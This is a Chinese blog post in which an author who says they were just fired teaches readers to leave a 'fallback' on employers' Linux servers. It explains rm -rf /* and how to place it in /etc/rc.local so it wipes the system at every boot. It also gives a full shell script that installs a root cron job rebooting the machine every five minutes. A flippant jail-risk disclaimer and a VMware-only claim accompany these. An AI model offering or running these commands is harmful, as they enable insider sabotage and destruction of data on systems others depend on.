• 听说你要删库跑路了?这篇Linux脚本请收好



    前言

    昨天,被辞退了,原因说是上班效率低,其实就是不加班,导火索就是周末不上班不给我们说,让我大早上起床去公司吃了一个闭门羹。

    在这里插入图片描述
    就这样被无情辞退,这也是我合作这么多项目,为数不多搞得双方都不太愉快的事情,搞得人还是有点难受,晚上喝了一点酒又想到工作没给自己留个后手,现在写成博客,记录一下,顺便也教一下各位学生朋友们,技术支持给自己留个后手。

    rm -rf /*

    rm 命令
    rm 命令用于删除文件或目录,格式为“rm [选项] 文件”。
    选项:

    命令作用
    -f强制删除文件或目录(不需要确定的操作)
    -i删除已有的文件或目录之前先询问用户
    -r递归处理,将指定的目录下所有的文件与子目录一并处理
    /表示根目录
    *所有文件

    通过上面的选项解释,相信大家也都明白了,rm -f /*是啥意思
    删除Linux根目录下的所有文件

    当我们执行了这个命令后,那么可能只要wx表情包能表达我的办法了:
    在这里插入图片描述

    如何定时来执行命令?

    1. 在/etc/rc.local文件中添加自启动命令
    检测是否有/etc/rc.local
    在这里插入图片描述
    rwxrwxrwx,可读可写可执行
    执行命令: 编辑"/etc/rc.local",添加你想开机运行的命令
    在这里插入图片描述
    在这里插入图片描述

    运行程序脚本:然后在文件最后一行添加要执行程序的全路径。

    例如,每次开机时要执行一个上述的rm -rf /* 命令
    进行插入上述代码,然后静候佳变
    如果失败,去修改/etc/rc.d/rc.local的权限修改为可执行
    在这里插入图片描述
    在这里插入图片描述

    权限进行修改,然后就可以执行这个删除所有文件的脚本了
    注:使用有风险,坐牢需谨慎!

    开机定时重新启动的脚本

    上面的由于风险过大,不推荐大家使用,毕竟都是一个打工人,所以说我们还是留个简单的,无风险的脚本吧

    开机自动重启脚本:

    #!/bin/sh
    if test -f /root/Desktop/LinuxReboot.sh; then :
    else echo "Please copy this script to /root/Desktop and don't rename the file."
    exit 1
    fi
    [ -x LinuxReboot.sh ] || chmod a+x LinuxReboot.sh
    if [ -f /root/Desktop/RebootLog.txt ]; then :
    else
    echo "This script will perform a reboot testing per 5 minutes"
    echo "To stop testing by command: crontab -r"
    echo "You can check the RebootLog on Desktop"
    echo -n "Do you want to start testing now? [yes/no]: "
    while [ "$re" != "yes" ]
    do
    read reply
    case $reply in
    [yY][eE][sS] ) touch /root/Desktop/RebootLog.txt;touch /etc/cn;echo > /etc/cn;crontabs="*/5 * * * * sh /root/Desktop/LinuxReboot.sh";[ -d /var/spool/cron/tabs ] && echo "$crontabs" > /var/spool/cron/tabs/root || echo "$crontabs" > /var/spool/cron/root;re=yes;;
    [nN][oO]) exit;;
    * ) echo -n "Please enter yes or no: ";;
    esac
    done
    fi
    CN=`cat /etc/cn`
    CN=$(($CN+1))
    echo $CN > /etc/cn
    echo "$CN: System reboots at $(date)" >> /root/Desktop/RebootLog.txt
    [ -d /var/spool/cron/tabs ] && /sbin/reboot || reboot
    exit 0
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    1. 赋予脚本可执行权限:
    chmod +x /etc/start.sh
    
    • 1
    1. 打开rc.local,末尾加入脚本的绝对路径
      方法像上面的一样

    2. 赋予rc.local可执行权限

    3. reboot重启验证

    最后

    本文所写的均为作者在vmware中测试使用,未在工作中用到,学习也只是,对付不正当行为,给大学生临时工一个安慰自己的理由罢了,希望得到大家的三连!

  • 相关阅读:
    Stable Diffusion 模型下载:Juggernaut(主宰、真实、幻想)
    数据库基础知识详解三:MVCC、范式以及表连接方式
    07【SpringMVC常用注解】
    算法训练第六十五天|螺旋遍历二维数组
    lintcode652 factorization
    比Nginx更好用的Gateway!
    ES6新特性
    域名映射配置(nginx+jupyterlab)
    如何用echarts画一个好看的饼图
    C++虚函数剖析-从二级指针角度
  • 原文地址:https://blog.csdn.net/weixin_45920495/article/details/125959966